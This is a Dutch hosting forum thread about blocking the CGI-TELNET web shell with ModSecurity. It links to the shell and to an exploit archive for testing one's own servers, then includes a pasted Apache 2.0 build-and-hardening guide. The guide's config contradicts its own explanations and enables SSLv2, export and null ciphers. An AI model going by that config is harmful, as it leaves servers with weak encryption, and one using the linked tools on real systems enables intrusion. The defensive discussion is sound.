Bekijk Volledige Versie : ModSecurity
Naar aanleiding van een andere thread http://www.webhostingtalk.nl/showthread.php?threadid=57461&perpage=15&pagenumber=2 even een korte reactie in een nieuwe thread.
Programma's zoals CGI-TELNET http://www.rohitab.com/cgiscripts/cgitelnet.html zijn op verschillende manieren tegen te gaan en een zo'n manier is die door gebruik te maken van ModSecurity http://www.modsecurity.org/
Hosters die niets van dit soort scripts (er zijn meerdere, meer geavanceerde, varianten al dan niet underground te vinden) moeten maar even het eerstgenoemde script downloaden en kijken of de eigen servers genoeg afgeschermd zijn voor dit soort scripts (niet schrikken!).
Met ModSecurity breng je een extra layer aan in de beveiliging van je servers.
Let op! De gevorderde hacker zal nog steeds zijn weg kunnen vinden en daarvoor is het altijd verstandig om zoveel mogelijk security layers te implementeren maar voor het grootste gedeelte(script kiddies) maak je het weer een stuk moeilijker.
Succes!
"ModSecurity is an open source intrusion detection and prevention engine for web applications. Operating as an Apache Web server module, the purpose of ModSecurity is to increase web application security, protecting web applications from known and unknown attacks."
En nu ben ik voornamelijk benieuwd naar de filter die er standaard wordt gebruikt. Ik heb bijv even gekeken of ik dat cgi-telnet kon draaien en dat kon gewoon. Ondanks dat ik bijv ook suexec op perl draai.
Bedankt Domenico, dit is weer een hele goede stap in de richting van een veilig server! Denk dat iedereen hier wel blij mee is. Toppie!
Cgitelnet werkt hier ook.. en je zit dus ingelogd met de user die root heeft, erg klote duz. kga meteen dat scrippie maar derover gooien (Y)
gelukkig log je in als de user onder wiens naam apache draait, dat is natuurlijk nooit root ;)
Als men toch wil kijken heb ik er nog een om te testen, http://beta.xanter.org/exploitlab.rar hij is vrij effectief op de wat oudere systemen.
Origineel geplaatst door Ijsbox
gelukkig log je in als de user onder wiens naam apache draait, dat is natuurlijk nooit root ;)
Zijn er ook omstandigheden waarin deze applicatie standaard niet kan draaien? (en dan bedoel ik omstandigheden zonder mod_security).
The MAzTER
22/09/04, 15:25
ben er niet zo'n voorstander van om mod_security te draaien.
al die klanten die je dan direct aan de telefoon krijg omdat bijv. hun forum niet meer werkt ;)
Origineel geplaatst door The MAzTER
ben er niet zo'n voorstander van om mod_security te draaien.
al die klanten die je dan direct aan de telefoon krijg omdat bijv. hun forum niet meer werkt ;)
Hoe voorkom je dan dat bovenstaand script bijv draait? Want daarmee kan je dus gewoon willekeurige bestanden catten :S.
Origineel geplaatst door Deimos
Hoe voorkom je dan dat bovenstaand script bijv draait? Want daarmee kan je dus gewoon willekeurige bestanden catten :S.
Dan spoort er toch bijster iets niet in je security, zo snel mijn apache user maar iets probeert bij een andere user is het acces denied.
The MAzTER
22/09/04, 15:30
Origineel geplaatst door Deimos
Hoe voorkom je dan dat bovenstaand script bijv draait? Want daarmee kan je dus gewoon willekeurige bestanden catten :S.
perl / cgi niet toestaan ;)
Origineel geplaatst door Ijsbox
gelukkig log je in als de user onder wiens naam apache draait, dat is natuurlijk nooit root ;)
klopt wel jah, had ff snel gekeken, admin@ stond er.. maar zal er vast wel altijd staan dan. Bij sommige heb ik wel Access Denied zonder extra script van TS te installeren. Maar /etc e.d. zou ook wel fijn zijn als deze not accessable worden.. Strax dat script van TS maar eens uitchecken...
Origineel geplaatst door The MAzTER
perl / cgi niet toestaan ;)
Is IMO niet echt een oplossing,......
ModSecurity kan in het begin inderdaad wat problemen geven maar als je de logfiles goed in de gaten houd en de filters leert begrijpen is dit zo opgelost.
In ieder geval kan je door goed configureren dit soort scripts(en vele andere dingen) disablen mbv ModSecurit.
Het disablen van bijvoorbeeld Perl is natuurlijk wel erg drastisch. Kun je net zo goed de netwerkkaarten er ook uit halen. ;)
Niet meer reacties?
Waarschijnlijk dat het merendeel hier cgi-telnet kan runnen. Is toch echt een groot probleem hoor maar ik begrijp ook wel dat niet iedereen dat hier wil vermelden.
Ik heb er mee getest, maar vind het een "lijm-middel".
Je beveiliging op OS niveau moet gewoon goed zijn en niet een POST en GET filter, dat lijkt me niet echt een goede oplossing.
Maar dat is mijn mening.
Origineel geplaatst door Mikey
Dan spoort er toch bijster iets niet in je security, zo snel mijn apache user maar iets probeert bij een andere user is het acces denied.
Als er ook maar één bestand is met de rechten read bij group. Kan je met dit script overal bij of je het nou wilt of niet. Hoe voorkom je dit? Je kan moeilijk allerlei system bestanden geen group access geven.
Ik ben dan ook uiterst benieuwd naar je user policy. Ik draai zelf SuPHP en SuExec, maar dat SuExec lijkt helemaal niet van kracht te zijn in dit geval.
Een slimme sysop kijkt verder dan het internet. Ik heb in het verleden al goede boeken aangeschaft over security. Hacking Exposed Linux, Nederlandse editie is perfect spul. Alles staat er wel in besproken. Een echte 'must' vind ik zelf!
Toch ben ik nog altijd benieuwd naar de manier om alles goed te beveiligen. Ik dacht zelf dat ik het aardig had geregeld.
Voor elke klant aparte uid en gid. PHP onder de uid gid van de user, suexec etc. etc. Maar nu blijkt dat je met cgitelnet alsnog van alles kunt uitspoken ben ik niet zo heel erg blij mee,.....
Inmiddels wel modsecurity geinstalleerd e.d. Dus niet meer vul\nerable. Maar ik ben benieuwd wat dit in eerste instantie had kunnen voorkomen. Dus kom op met die security policies :).
Written by Gerhard Mourani
Corrected by Colin Henry
Abstract
Apache is the most widely used HTTP-server in the world today. It surpasses all free and commercial competitors on the market, and provides a myriad of features; more than the nearest opponent could give you on a UNIX variant. It is also the most used web server for a Linux system. A web server like Apache, in its simplest function, is software that displays and serves HTML pages hosted on a server to a client browser that understands the HTML code. Mixed with third party modules and programs, it can become powerful software, which will provide strong and useful services to a client browser.
There are a lot of possibilities, variants and options for installing Apache. Therefore, in the following, we provide some step-by-step examples where you can see how to build Apache with other third-party modules and programs like mod_ssl, mod_perl, PHP4, SQL database, etc. Of course, the building of these programs is optional, and you are free to compile only what you want. In this chapter, we explain and cover some of the basic ways in which you can adjust the configuration to improve the server's performance.
After a long period of time and development, the Apache group has finally produced a new generation of its web server. This new web server will become the de-facto standard in the web server world with all of its new features and improvement.
In regard to how I've explained how to install Apache in previous version of this book (Securing & Optimizing Linux: The Ultimate Solution), you will find here that I've decided to show you how to install it with modules support also know as DSO. This approach is completely different from static build of the software and better now because most of us will compile the software with many external supports like SQL, PHP, IMAP, etc. In this way it is better to have a modularized web server where modules can be loaded as demand for some simple reason; the Apache binary is smaller in size and this provide better performance. In previous setup we compiled everything directly inside the code and test show us that bigger binary is slower than smaller binary.
Therefore if we consider the number of external features that we will provide with the web server as a loadable module compared to the way of compiling these features directly inside the httpd code, we can conclude that Apache will run faster when many features are available as modules instead of begging compiled inside its source code because the resulting binary is smaller to execute for the operating system and heat less memory of the system.
These installation instructions assume
Commands are Unix-compatible.
The source path is /var/tmp (note that other paths are possible, at personal discretion).
Installations were tested on OpenNA Linux & Red Hat Linux 7.3.
All steps in the installation will happen using the super-user account "root".
Whether kernel recompilation may be required: No
Latest Apache version number is 2.0.43
The procedures given in this chapter are likely to work on all Linux platforms, but we have only tested it on OpenNA Linux and Red Hat Linux.
Packages
The following is based on information listed by Apache as of 2002/10/28. Please regularly check http://httpd.apache.org/ for the latest status. We chose to install the required component from a source file because it provides the facility to fine tune the installation.
Source code is available from:
Apache Homepage: http://httpd.apache.org/
Apache FTP Site: 198.3.136.138
You must be sure to download: httpd-2.0.43.tar.gz
Prerequisites
Apache requires that the software below is already installed on your system to be able to compile successfully. If this is not the case, you must install it. Please make sure you have this program installed on your machine before you proceed with this tutorial.
· OpenSSL is required to be able to use Apache with SSL support in your system
· expat package is required to be able to use Apache in your system
· expat-devel package is required to be able to build Apache in your system
· gdbm-devel package is required to be able to build Apache in your system
· db3-devel package is required to be able to build Apache in your system
· Perl package is required to be able to use Apache in your system
Pristine source
If you don't use the RPM package to install this program, it will be difficult for you to locate all the files installed on the system in the eventuality of an update in the future. To solve the problem, it is a good idea to make a list of files on the system before you install Apache, and then one afterwards, and then compare them using the diff utility to find out what files were placed where.
· Simply run the following command before installing the software:
[root@deep root]# find /* > Apache1
· And the following one after you install the software:
[root@deep root]# find /* > Apache2
· Then use the following command to get a list of what changed:
[root@deep root]# diff Apache1 Apache2 > Apache-Installed
With this procedure, if any upgrade appears, all you have to do is to read the generated list of what files were added or changed by the program and remove them manually from your system before installing the new software. In the example above, we use the /root directory of the system to store all generated list files.
Compiling - Optimizing & Installing Apache
Below are the steps that you must make to configure, compile and optimize the Apache software before installing it onto your system. First off, we install the program as the user "root" so as to avoid permissioning problems.
Step 1
Once you get the program from the main software site you must copy it to the /var/tmp directory and change to this location before expanding the archive.
· This can be done with the following commands:
[root@deep /]# cp httpd-version.tar.gz /var/tmp/
[root@deep /]# cd /var/tmp/
[root@deep tmp]# tar xzpf httpd-version.tar.gz
Step 2
In order to check that the version of Apache, which you are, going to install, is an original and unmodified one, please check the supplied signature with the PGP key of Apache available on the Apache website.
To get a PGP key copy of Apache, please point your browser to the following URL: http://www.apache.org/dist/httpd/. For more information about how to use this key for verification, see the GnuPG chapter of the book "Securing & Optimizing Linux: The Hacking Solution".
Step 3
Apache cannot run as super-user root; for this reason we must create a special user with no shell privileges on the system for running Apache daemon.
· To create this special Apache user on OpenNA Linux, use the following commands:
[root@deep tmp]# groupadd -g 48 www
[root@deep tmp]# useradd -c "Web Server" -d /home/httpd -g 48 -s /sbin/nologin -u 48 www
· To create this special Apache user on Red Hat Linux, use the following commands:
[root@deep tmp]# groupadd -g 48 www
[root@deep tmp]# useradd -u 48 -g 48 -s /sbin/nologin -M -r -d /home/httpd www
The above command will create a null account, with no password, no valid shell, no files owned-nothing but a UID and a GID for the program. Remember that Apache daemon does not need to have a shell account on the server.
Step 4
Now, edit the shells file (vi /etc/shells) and add a non-existent shell name "/sbin/nologin", which is the one we used in the useradd command above.
[root@deep tmp]# vi /etc/shells
/bin/bash2
/bin/bash
/bin/sh
/sbin/nologin
Step 5
After that, move into the newly created Apache source directory and perform the following steps to configure and optimize Apache for your system.
· To move into the newly created Apache source directory use the command:
[root@deep tmp]# cd httpd-2.0.43/
Step 6
There are some source files to modify before going in configuration and compilation of the program; the changes allow us to fix some locations as well as to improve the default number of server processes that we can start on the system. For some reason when Apache builds the apxs Perl script, it sometimes ends up getting built without the proper compiler, flags variables and location. We need to solve this problem now before compiling the Apache web server or the generated apxs script file will fail to work.
· Edit the apxs.in file (vi +66 support/apxs.in) and change the lines:
my $installbuilddir = "@exp_installbuilddir@";
To read:
my $installbuilddir = "/usr/lib/httpd/build";
Step 7
The maximum number of child processes that could be created to serve requests is limited by default to "256" into the source code of Apache. This limit is only valid for the prefork model of the Apache web server. For highly loaded web server, we should increase this limit to "1024" for better performance. This can be done by editing the related source file inside the Apache source directory.
· Edit the prefork.c file (vi +119 server/mpm/prefork/prefork.c) and change the following line:
#define DEFAULT_SERVER_LIMIT 256
To read:
#define DEFAULT_SERVER_LIMIT 1024
Step 8
Once the required modifications have been made into the related source files of Apache, it is time configure and optimize it for our system. As you will see further down, in our compilation of the web server, we disable any experimental modules to keep the software scalable, and disable any unneeded modules to avoid possible security hole and to improve performance.
It is important to note that with new the version of Apache, the server ships with a selection of Multi-Processing Modules (MPMs) which are responsible for binding to network ports on the machine, accepting requests, and dispatching children to handle the requests. In regard to previous version of the software, we have the choice to select with MPM we want to implement with the web server.
We can ONLY choose one and only one type of MPM to compile with Apache, where we choose "prefork" to implements a non-threaded, pre-forking web server that handles requests in a manner similar to Apache 1.3. It's vital to choose this type of MPM now because other are too experimental at this time to be used on production server and choosing something else than "prefork" as the MPM for Apache 2 will certainly break other kind of modules like PHP, Mod_Perl, etc.
· To compile and optimize Apache use the following compilation lines:
export CFLAGS="-O2 -march=i686 -funroll-loops -D_REENTRANT -D_SINGLE_LISTEN_UNSERIALIZED_ACCEPT -fPIC"
./configure --prefix=/etc/httpd \
--exec-prefix=/usr \
--bindir=/usr/bin \
--sbindir=/usr/sbin \
--mandir=/usr/share/man \
--sysconfdir=/etc/httpd/conf \
--includedir=/usr/include/httpd \
--libexecdir=/usr/lib/httpd/modules \
--datadir=/home/httpd \
--localstatedir=/var \
--with-mpm=prefork \
--enable-access=shared \
--enable-actions=shared \
--enable-alias=shared \
--enable-auth=shared \
--enable-auth-dbm=shared \
--enable-auth-digest=shared \
--enable-autoindex=shared \
--enable-cern-meta=shared \
--enable-cgi=shared \
--enable-cgid=shared \
--enable-dav=shared \
--enable-dav-fs=shared \
--enable-dir=shared \
--enable-env=shared \
--enable-expires=shared \
--enable-file-cache=shared \
--enable-headers=shared \
--enable-include=shared \
--enable-log-config=shared \
--enable-mime=shared \
--enable-mime-magic=shared \
--enable-negotiation=shared \
--enable-rewrite=shared \
--enable-setenvif=shared \
--enable-speling=shared \
--enable-ssl=shared \
--enable-unique-id=shared \
--enable-usertrack=shared \
--enable-vhost-alias=shared \
--enable-suexec=shared \
--with-suexec-caller=www \
--with-suexec-docroot=/home/httpd \
--with-suexec-logfile=/var/log/httpd/suexec.log \
--with-suexec-bin=/usr/sbin/suexec \
--with-suexec-uidmin=500 --with-suexec-gidmin=500 \
--disable-auth-anon \
--disable-charset-lite \
--disable-disk-cache \
--disable-mem-cache \
--disable-cache \
--disable-deflate \
--disable-ext-filter \
--disable-case-filter \
--disable-case-filter-in \
--disable-example \
--disable-proxy \
--disable-proxy-connect \
--disable-proxy-ftp \
--disable-proxy-http \
--disable-status \
--disable-asis \
--disable-info \
--disable-imap \
--disable-userdir \
--with-z \
--with-ssl \
--with-suexec
It's important to note that removing all unneeded modules during the configure time of Apache will improve the performance of your web server. In our configuration, we've removed the most unused modules both to lower the load operation, and limit the security risks in our Apache web server. See your Apache documentation for information on each one.
Step 9
At this stage the program is ready to be built and installed. We build Apache with the 'make' command and produce a list of files on the system before we install the software, and one afterwards, then compare them using the diff utility to find out what files were placed where and finally install Apache.
[root@deep httpd-2.0.43]# make
[root@deep httpd-2.0.43]# cd
[root@deep root]# find /* > Apache1
[root@deep root]# cd /var/tmp/httpd-2.0.43/
[root@deep httpd-2.0.43]# make install
[root@deep httpd-2.0.43]# strip /usr/sbin/httpd
[root@deep httpd-2.0.43]# chmod 0511 /usr/sbin/httpd
[root@deep httpd-2.0.43]# strip --strip-debug -R .comment /usr/lib/httpd/modules/*.so
[root@deep httpd-2.0.43]# mkdir -p /var/log/httpd
[root@deep httpd-2.0.43]# mkdir -p /var/lib/dav
[root@deep httpd-2.0.43]# rm -rf /var/logs
[root@deep httpd-2.0.43]# cd
[root@deep root]# mv /home/httpd/build /usr/lib/httpd/build
[root@deep root]# rm -f /usr/lib/httpd/build/libtool
[root@deep root]# ln -s /usr/bin/libtool /usr/lib/httpd/build/libtool
[root@deep root]# ln -s /var/log/httpd /etc/httpd/logs
[root@deep root]# ln -s /var/run /etc/httpd/run
[root@deep root]# ln -s /usr/lib/httpd/modules /etc/httpd/modules
[root@deep root]# ln -s /usr/lib/httpd/build /etc/httpd/build
[root@deep root]# find /* > Apache2
[root@deep root]# diff Apache1 Apache2 > Apache-Installed
The above commands will configure the software to ensure your system has the necessary libraries to successfully compile the package, compile all source files into executable binaries, and then install the binaries and any supporting files into the appropriate locations.
Step 10
Once the compilation, optimization and installation of the software has completed, we can free up some disk space by deleting the program tar archive and the related source directory, since they are no longer needed.
· To delete Apache and its related source directory, use the following commands:
[root@deep /]# cd /var/tmp/
[root@deep tmp]# rm -rf httpd-version/
[root@deep tmp]# rm -f httpd-version.tar.gz
The rm command as used above will remove all the source files we have used to compile and install Apache. It will also remove the Apache compressed archive from the /var/tmp directory.
Configuring Apache
After Apache has been built and installed successfully on your system, the next step is to configure and customize its configuration files to fit your needs.
· /etc/httpd/httpd.conf: (The Apache Configuration File)
· /etc/logrotate.d/httpd: (The Apache Log Rotation File)
· /etc/sysconfig/httpd: (The Apache System Configuration File)
· /etc/init.d/httpd: (The Apache Initialization File)
/etc/httpd/httpd.conf: The Apache Configuration File
The httpd.conf file is the main configuration file for the Apache web server. A lot options exist, and it's important to read the documentation that comes with Apache for more information on different settings and parameters.
The following configuration is a full and secure working configuration file for Apache. Also, it's important to note that I only comment parameters that relate to security and optimization, and leave all the others to your own research. Text in bold is the parts of the configuration file that must be customized and adjusted to satisfy your needs.
· Edit the httpd.conf file (vi /etc/httpd/httpd.conf) and set your needs:
### Section 1: Global Environment
#
ServerTokens OS
ServerRoot "/etc/httpd"
PidFile /var/run/httpd.pid
Timeout 60
KeepAlive Off
MaxKeepAliveRequests 0
KeepAliveTimeout 10
# Prefork MPM
#
StartServers 5
MaxClients 512
ServerLimit 1024
MinSpareServers 5
MaxSpareServers 10
MaxRequestsPerChild 0
Listen 127.0.0.1:80
Listen 127.0.0.1:443
# Dynamic Shared Object (DSO) Support
#
LoadModule access_module modules/mod_access.so
#LoadModule auth_module modules/mod_auth.so
#LoadModule auth_dbm_module modules/mod_auth_dbm.so
#LoadModule auth_digest_module modules/mod_auth_digest.so
#LoadModule file_cache_module modules/mod_file_cache.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule env_module modules/mod_env.so
LoadModule mime_magic_module modules/mod_mime_magic.so
#LoadModule cern_meta_module modules/mod_cern_meta.so
#LoadModule expires_module modules/mod_expires.so
#LoadModule headers_module modules/mod_headers.so
#LoadModule usertrack_module modules/mod_usertrack.so
#LoadModule unique_id_module modules/mod_unique_id.so
LoadModule setenvif_module modules/mod_setenvif.so
#LoadModule ssl_module modules/mod_ssl.so
LoadModule mime_module modules/mod_mime.so
#LoadModule dav_module modules/mod_dav.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule cgi_module modules/mod_cgi.so
#LoadModule dav_fs_module modules/mod_dav_fs.so
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
#LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
#LoadModule actions_module modules/mod_actions.so
#LoadModule speling_module modules/mod_speling.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
#LoadModule perl_module modules/mod_perl.so
#LoadModule php4_module modules/libphp4.so
### Section 2: 'Main' server configuration
#
User www
Group www
ServerAdmin root@localhost
ServerName localhost
UseCanonicalName Off
DocumentRoot "/home/httpd/htdocs"
Options None
AllowOverride None
Order deny,allow
Deny from all
Options None
AllowOverride None
Order deny,allow
Deny from all
Include /etc/httpd/mmap.conf
DirectoryIndex index.htm index.html index.php default.php index.shtml index.php3
TypesConfig /etc/httpd/conf/mime.types
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
AddType application/x-tar .tgz
AddType application/x-httpd-php .php
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .shtml
AddType application/x-httpd-php-source .phps
DefaultType text/plain
MIMEMagicFile /etc/httpd/conf/magic
HostnameLookups Off
LogLevel info
ErrorLog /var/log/httpd/error_log
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" combined
CustomLog /var/log/httpd/access_log combined
ServerSignature Off
Alias /icons/ "/home/httpd/icons/"
Options None
AllowOverride None
Order allow,deny
Allow from all
ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/"
Options None
AllowOverride None
Order allow,deny
Allow from all
IndexOptions FancyIndexing
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core
AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^
DefaultIcon /icons/unknown.gif
ReadmeName README.html
HeaderName HEADER.html
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
ErrorDocument 400 "Server could not understand this request."
ErrorDocument 401 "Server could not verify your access authorization."
ErrorDocument 403 "Access Forbidden -- Go away."
ErrorDocument 404 "Error! The requested page do not exist"
ErrorDocument 405 "Method not allowed for the requested URL."
ErrorDocument 408 "Server closed the network connection."
ErrorDocument 410 "Requested URL no longer available."
ErrorDocument 411 "Requested method requires a valid header."
ErrorDocument 412 "Precondition request failed positive evaluation."
ErrorDocument 413 "Method not allowed for the data transmitted."
ErrorDocument 414 "Requested URL exceeds the capacity limit."
ErrorDocument 415 "Server temporarily unavailable -- Maintenance downtime."
ErrorDocument 500 "Server encountered an internal error."
ErrorDocument 501 "Server does not support the action requested."
ErrorDocument 502 "Proxy server received an invalid response."
ErrorDocument 503 "Server temporarily unavailable -- Maintenance downtime."
ErrorDocument 506 "Access not possible."
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0
BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully
BrowserMatch "^WebDrive" redirect-carefully
### Section 3: Virtual Hosts
#
NameVirtualHost 127.0.0.1:80
ServerAdmin root@localhost
ServerName localhost
DocumentRoot "/home/httpd/htdocs"
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
ErrorLog /var/log/httpd/error_log
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
TransferLog /var/log/httpd/access_log
## SSL Global Context
#
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl .crl
SSLPassPhraseDialog builtin
SSLSessionCache none
SSLSessionCacheTimeout 300
SSLMutex sem
SSLRandomSeed startup file:/dev/urandom 1024
SSLRandomSeed connect file:/dev/urandom 1024
## SSL Virtual Host Context
#
NameVirtualHost 127.0.0.1:443
ServerAdmin root@localhost
ServerName localhost
DocumentRoot "/home/httpd/htdocs"
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
ErrorLog /var/log/httpd/error_log
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
TransferLog /var/log/httpd/access_log
SSLEngine on
SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+e NULL
SSLCertificateFile /usr/share/ssl/certs/www.crt
SSLCertificateKeyFile /usr/share/ssl/private/www.key
SSLVerifyClient none
SSLVerifyDepth 10
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog /var/log/httpd/ssl_request_log \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
This tells the httpd.conf file to set itself up for this particular configuration setup with:
ServerRoot "/etc/httpd"
This directive "ServerRoot" is used to define the directory in which the configuration file of the Apache server lives. It allows Apache to know where it can find its configuration file when it starts. In our setup, this file is located under /etc/httpd directory and it's called httpd.conf.
Timeout 120
This directive "Timeout" is used to define the amount of time Apache will wait for a GET, POST, PUT request and ACKs on transmissions before automatically disconnect when idle time exceeds this value. In our configuration, we set this value to "120" to improve performance in heavily loaded servers. It is recommended to set this value lower if your clients have low latencies. Some time, setting this directive to a low value may pause problem, this highly depend of your network and server setup. The best is to experiment with different values to find the one that fit your need. This is a performance feature.
KeepAlive On
This directive "KeepAlive" if set to "On", enables persistent connections on the web server. For better performance, it's recommended to set this option to "On" and allow more than one request per connection. In the original HTTP specification, every HTTP request had to establish a separate connection to the server. To reduce the overhead of frequent connects, the keep-alive header was developed. Keep-alives tells the server to reuse the same socket connection for multiple HTTP requests. This is a performance feature.
MaxKeepAliveRequests 0
This directive "MaxKeepAliveRequests" is used to define the number of requests allowed per connection when the KeepAlive option above is set to "On". Socket connections will be terminated when the number of requests set by the "MaxKeepAliveRequests" directive is reached. When the value of this option is set to "0" then unlimited requests are allowed on the server. For server performance, it's recommended to allow unlimited requests. This is a performance feature.
KeepAliveTimeout 10
This directive "KeepAliveTimeout" is used to define how much time, in seconds, Apache will wait for a subsequent request before closing the connection. Once a request has been received, the timeout value specified by the "Timeout" directive applies. The value of "10" seconds is a good average for server performance. This value should be kept low as the socket will be idle for extended periods otherwise. This is a performance feature.
StartServers 5
This directive "StartServers" is used to define the number of child server processes that will be created by Apache on start-up. As the number of processes with Apache 2.x is dynamically controlled depending on the load, there is usually little reason to adjust this parameter now. In our configuration, we use the default value of "5". This is a performance feature.
MaxClients 512
This directive "MaxClients" is used to define the limit on the number of child processes that will be created to serve requests. The default means that up to 512 HTTP requests can be handled concurrently. Any further connection requests are queued. This is an important tuning parameter regarding the performance of the Apache web server. For high load operation, a value of "512" is recommended by various benchmarks on the Internet. For standard use, you can set the value to "256". This is a performance feature.
ServerLimit 1024
This directive "ServerLimit" is used to define the maximum configured value for the "MaxClients" directive for the lifetime of the Apache process. It is important to note that any attempts to change this directive during a restart will be ignored, but the "MaxClients" directive can be modified during a restart of the server. This is another important tuning parameter directly associated with the "MaxClients" directive regarding the performance of the Apache web server. For high load operation, a value of "1024" is highly recommended by various benchmarks on the Internet. For standard use, you can set the value to "256". This is a performance feature.
Special care must be taken when using this directive. If "ServerLimit" is set to a value much higher than necessary, extra, unused shared memory will be allocated. If both "ServerLimit" and "MaxClients" are set to values higher than the system can handle, Apache may not start or the system may become unstable.
MinSpareServers 32
This directive "MinSpareServers" is used to define the minimum number of idle child server processes that should be created. An idle process is one which is not handling a request. If there are fewer than "MinSpareServers" idle, then the parent process creates new children at a maximum rate of 1 per second. This is a performance feature.
MaxSpareServers 64
This directive "MaxSpareServers" is used to define the maximum number of idle child server processes that should be created. If there are more than "MaxSpareServers" idle child processes, then the parent process will kill off the excess processes and these extra processes will be terminated. This is a performance feature.
MaxRequestsPerChild 0
This option "MaxRequestsPerChild" is used to define the number of requests that an individual child server process will handle. In our configuration, we set the value of this directive to "0" to get the maximum performance and scalability for the server. This is an important tuning parameter regarding the performance of the Apache web server again.
Listen 1.2.3.4:80
Listen 1.2.3.4:443
This directive "Listen" is used to inform the web server to accept incoming requests on the specified port or address-and-port combination. In our example, we define IP address and port number of our web server on the system. Port number "80" is the standard port for HTTP request and "443" is the standard port number for HTTPS request. In this way, we have both ports and IP addresses configured into our configuration file.
User www
This directive "User" is used to define the UID that Apache daemon will run as. It's important to create a new user that has minimal access to the system, and functions just for the purpose of running the web server daemon. Using a different UID that already exists on the system (i.e. nobody) can allow your services to access each other's resources. In our example, we use the Apache user we have created previously which is called "www".
Group www
This directive "Group" is used to define the GID the Apache daemon will run as. It's important to create a new group that has minimal access to the system and functions just for the purpose of running the web server daemon. In our example, we use the Apache group we have created previously which is called "www".
ServerAdmin root@localhost
This directive "ServerAdmin" is used to define the e-mail address that the server includes in any error messages it returns to the client. Don't forget to change the above value to your real email address.
ServerName localhost
This directive "ServerName" is used to define the hostname that the server uses to identify itself. If your web server is accessible through www.domain.com, then the value of this directive will be www.domain.com. Don't forget to change the above value for your real FQDN.
DocumentRoot "/home/httpd/html"
Options None
AllowOverride None
Order deny,allow
Deny from all
This block of directives allows running a really tight ship by stopping users overriding system wide settings. This is because the default Apache access for is Allow from All, and this means that it will serve any file mapped from an URL. For this reason it is highly recommended that you change this block such as the one we have configured and then override this for directories you want accessible. This is a security feature.
DirectoryIndex index.htm index.html index.php default.php index.php3
This directive "DirectoryIndex" is used to define the files to use by Apache as a pre-written HTML directory index. In other words, if Apache can't find the default index page to display, it'll try the next entry in this parameter, if available. To improve performance of the web server it's recommended to list the most used default index pages of your web site first and not to include too much. This is a performance feature.
HostnameLookups Off
This directive "HostnameLookups" if set to "Off", specifies to disable DNS lookups. It's recommended to set this option to "Off" in order to avoid latency to every request, to save the network traffic time, and to improve the performance of your Apache web server. This is a performance feature.
ServerTokens Prod
This directive "ServerTokens" is used to controls whether server response header field which is sent back to clients includes a description of the generic OS-type of the server as well as information about compiled-in modules. For security reason, I recommend you to limit the number of information send by the web server to the external as much as possible. This is done by setting the value of this directive to "Prod", which means that only the name of the web server (Apache) will be displayed as the information. This is good to avoid version detection with Apache. This is a security feature.
If your httpd.conf file contains many sections that are substantially the same, then I recommend you to read the Apache "Dynamically configured mass virtual hosting" document, which describes how to efficiently serve an arbitrary number of virtual hosts.
/etc/logrotate.d/httpd: The Apache Log rotation File
The /etc/logrotate.d/httpd file allows the web server to rotate each week all Apache log files automatically.
Step1
Here we'll configure the /etc/logrotate.d/httpd file to rotate each week its log files.
· Create the httpd file (touch /etc/logrotate.d/httpd) and add the lines:
· /var/log/httpd/*_log {
· missingok
· notifempty
· sharedscripts
· postrotate
· /usr/bin/killall -HUP httpd
· endscript
}
Step2
Now, set the permission mode of the httpd file to be (0640/-rw-r-----) and owned by the super-user 'root' for security reason.
· To change the permission mode and ownership of the httpd file, use the commands:
[root@deep /]# chmod 640 /etc/logrotate.d/httpd
[root@deep /]# chown 0.0 /etc/logrotate.d/httpd
/etc/sysconfig/httpd: The Apache System Configuration File
The /etc/sysconfig/httpd file is used to specify Apache system configuration information, such as if additional options are required to be passed to httpd daemon at startup.
· Create the httpd file (touch /etc/sysconfig/httpd) and add the following lines:
# Uncomment the following line to enable SSL support with Apache.
# Certificate should be already configured into httpd.conf file.
#
